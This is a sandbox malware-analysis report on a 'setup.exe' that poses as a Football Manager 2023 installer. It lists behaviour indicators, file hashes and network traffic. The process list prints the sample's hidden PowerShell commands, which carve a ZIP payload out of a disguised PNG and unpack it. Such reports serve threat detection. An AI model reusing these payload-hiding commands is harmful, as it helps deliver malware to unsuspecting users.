File name:

setup.exe

Full analysis: https://app.any.run/tasks/356d75a9-f6d8-4cff-b582-9cf1b158ec62
Verdict: Malicious activity
Analysis date: May 16, 2025, 18:49:42
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
python
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
MD5:

01A041D7484DDC0CE26F79D416856F60

SHA1:

0B09156097309E73D0CF570953CB07AEC1B531DC

SHA256:

76FBA0D186D2A162F1FAE86D01DBBB503395205DA84381869E84A63E9C5A742E

SSDEEP:

98304:U1T2Q61ioMZqeLnc1ZaDPHUFK/uXbQx2U72XiHo0cpJTFQmY6q6MGobIg4580sXa:JUgKVNYTyVv9gpENWNUf3OW

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  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7824)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)
      • original_setup.tmp (PID: 6480)

    • The process drops C-runtime libraries

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)

    • Process drops python dynamic module

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)

    • Executable content was dropped or overwritten

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)
      • setup.exe (PID: 7408)
      • original_setup.exe (PID: 7212)
      • original_setup.tmp (PID: 6480)

    • Application launched itself

      • setup.exe (PID: 6712)
      • setup.exe (PID: 2136)
      • setup.exe (PID: 7240)

    • Loads Python modules

      • setup.exe (PID: 2136)
      • setup.exe (PID: 7408)

    • Reads security settings of Internet Explorer

      • setup.exe (PID: 2136)

    • Reads the date of Windows installation

      • setup.exe (PID: 2136)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 7436)
      • cmd.exe (PID: 7532)
      • cmd.exe (PID: 8116)
      • cmd.exe (PID: 7636)

    • Starts NET.EXE to display or manage information about active sessions

      • cmd.exe (PID: 8116)
      • net.exe (PID: 8172)

    • Likely accesses (executes) a file from the Public directory

      • attrib.exe (PID: 4688)
      • powershell.exe (PID: 5244)
      • powershell.exe (PID: 4740)

    • Starts CMD.EXE for commands execution

      • setup.exe (PID: 7408)
      • powershell.exe (PID: 7824)

    • Executing commands from a ".bat" file

      • setup.exe (PID: 7408)
      • powershell.exe (PID: 7824)

    • Starts process via Powershell

      • powershell.exe (PID: 7824)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7752)
      • cmd.exe (PID: 8116)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 8116)

    • Reads the Windows owner or organization settings

      • original_setup.tmp (PID: 6480)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 5244)

  • INFO

    • Checks supported languages

      • setup.exe (PID: 6712)
      • setup.exe (PID: 2136)
      • setup.exe (PID: 7240)
      • setup.exe (PID: 7408)
      • original_setup.exe (PID: 7212)
      • original_setup.tmp (PID: 6480)

    • The sample compiled with english language support

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)
      • original_setup.tmp (PID: 6480)

    • Reads the computer name

      • setup.exe (PID: 6712)
      • setup.exe (PID: 2136)
      • setup.exe (PID: 7240)
      • setup.exe (PID: 7408)
      • original_setup.tmp (PID: 6480)

    • Create files in a temporary directory

      • setup.exe (PID: 6712)
      • setup.exe (PID: 7240)
      • setup.exe (PID: 7408)
      • original_setup.exe (PID: 7212)
      • original_setup.tmp (PID: 6480)

    • Process checks computer location settings

      • setup.exe (PID: 2136)

    • The sample compiled with russian language support

      • original_setup.tmp (PID: 6480)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5244)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 4740)
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No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:03:29 01:43:22+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.42
CodeSize: 173568
InitializedDataSize: 96768
UninitializedDataSize: -
EntryPoint: 0xce20
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshot
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Total processes
154
Monitored processes
27
Malicious processes
5
Suspicious processes
4

Behavior graph

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start setup.exe setup.exe no specs setup.exe sppextcomobj.exe no specs slui.exe no specs setup.exe cmd.exe no specs conhost.exe no specs attrib.exe no specs cmd.exe no specs conhost.exe no specs attrib.exe no specs cmd.exe no specs conhost.exe no specs attrib.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs net.exe no specs original_setup.exe net1.exe no specs attrib.exe no specs powershell.exe no specs original_setup.tmp powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2136"C:\Users\admin\AppData\Local\Temp\setup.exe" C:\Users\admin\AppData\Local\Temp\setup.exe—setup.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
4688attrib -H -S "C:\Users\Public\combined.png"C:\Windows\System32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Attribute Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\attrib.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
4740powershell Expand-Archive "C:\Users\Public\payload.zip" "C:\Users\Public" -ForceC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
5244powershell -NoProfile -Command "$file='C:\Users\Public\combined.png';" "$bytes=[System.IO.File]::ReadAllBytes($file);" "$magic=[byte[]](0x50,0x4B,0x03,0x04);" "$startIndex=-1;" "for($i=0;$i -lt $bytes.Length-4;$i++){" "if($bytes[$i]-eq$magic[0]-and$bytes[$i+1]-eq$magic[1]-and$bytes[$i+2]-eq$magic[2]-and$bytes[$i+3]-eq$magic[3]){$startIndex=$i;break}}" "if($startIndex -lt 0){exit 1};" "$zipBytes=$bytes[$startIndex..($bytes.Length-1)];" "[System.IO.File]::WriteAllBytes('C:\Users\Public\payload.zip',$zipBytes)"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6480"C:\Users\admin\AppData\Local\Temp\is-ABC1A.tmp\original_setup.tmp" /SL5="$90310,5376521,140800,C:\Users\admin\AppData\Local\Temp\myhidden_bgo2mny0\original_setup.exe" C:\Users\admin\AppData\Local\Temp\is-ABC1A.tmp\original_setup.tmp
original_setup.exe
User:
admin
Integrity Level:
HIGH
Description:
Setup/Uninstall
Version:
51.1052.0.0
Modules
Images
c:\users\admin\appdata\local\temp\is-abc1a.tmp\original_setup.tmp
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
6712"C:\Users\admin\AppData\Local\Temp\setup.exe" C:\Users\admin\AppData\Local\Temp\setup.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
7204C:\WINDOWS\system32\net1 session C:\Windows\System32\net1.exe—net.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Net Command
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net1.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\samcli.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\bcrypt.dll
7212C:\Users\admin\AppData\Local\Temp\myhidden_bgo2mny0\original_setup.exeC:\Users\admin\AppData\Local\Temp\myhidden_bgo2mny0\original_setup.exe
setup.exe
User:
admin
Company:
Integrity Level:
HIGH
Description:
Football Manager 2023 Setup
Version:
Modules
Images
c:\users\admin\appdata\local\temp\myhidden_bgo2mny0\original_setup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
7240"C:\Users\admin\AppData\Local\Temp\setup.exe" C:\Users\admin\AppData\Local\Temp\setup.exeC:\Users\admin\AppData\Local\Temp\setup.exe
setup.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
7336C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
Total events
13 643
Read events
13 643
Write events
0
Delete events
0

Modification events

No data
Executable files
33
Suspicious files
4
Text files
14
Unknown types
0

Dropped files

PID
Process
Filename
Type
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\libffi-8.dllexecutable
MD5:0F8E4992CA92BAAF54CC0B43AACCCE21
SHA256:EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\libcrypto-3.dllexecutable
MD5:123AD0908C76CCBA4789C084F7A6B8D0
SHA256:4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\_bz2.pydexecutable
MD5:057325E89B4DB46E6B18A52D1A691CAA
SHA256:5BA872CAA7FCEE0F4FB81C6E0201CEED9BD92A3624F16828DD316144D292A869
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\_lzma.pydexecutable
MD5:3E73BC69EFB418E76D38BE5857A77027
SHA256:6F48E7EBA363CB67F3465A6C91B5872454B44FC30B82710DFA4A4489270CE95C
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\base_library.zipcompressed
MD5:8DEED85E4E32C733E8684E43692EE623
SHA256:9D18C7AC458986BFDD7F865912D9E16483A5D3FAF032C727C97E5922D0342C10
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\combined.pngimage
MD5:E2704C254126F71E9A9FA01AC00A25F7
SHA256:96821E07BCEE12A16472347B16E1CF6C08C332C74C2BCAE11594C2E61E488BBE
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\script.battext
MD5:F6B7FA53BEC2D0742626195DC8F79F51
SHA256:BC681C2368C30A36D9D0CB38CCDF21D96A8F14D499D3775E40CE8AFBEBB4C428
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\_decimal.pydexecutable
MD5:F465C15E7BACEAC920DC58A5FB922C1C
SHA256:F4A486A0CA6A53659159A404614C7E7EDCCB6BFBCDEB844F6CEE544436A826CB
6712setup.exeC:\Users\admin\AppData\Local\Temp\_MEI67122\original_setup.exeexecutable
MD5:3AABA5BB8B02DC860374D8FDAD947EA5
SHA256:4AA1A3242C16D6345DEB8677D58C3A17F7C1E161379C16C02BFB00651F2BAE9D
7240setup.exeC:\Users\admin\AppData\Local\Temp\_MEI72402\VCRUNTIME140.dllexecutable
MD5:862F820C3251E4CA6FC0AC00E4092239
SHA256:36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
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HTTP(S) requests
4
TCP/UDP connections
11
DNS requests
8
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.158:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2392
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
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192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
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—
whitelisted
5496
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.48.23.158:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.32.133:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
google.com
  • 142.250.185.174
whitelisted
crl.microsoft.com
  • 23.48.23.158
  • 23.48.23.193
  • 23.48.23.177
  • 23.48.23.162
  • 23.48.23.183
  • 23.48.23.174
  • 23.48.23.169
  • 23.48.23.191
  • 23.48.23.140
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 40.126.32.133
  • 20.190.160.65
  • 40.126.32.76
  • 20.190.160.17
  • 40.126.32.68
  • 40.126.32.72
  • 40.126.32.138
  • 20.190.160.66
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted

Threats

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setup.exe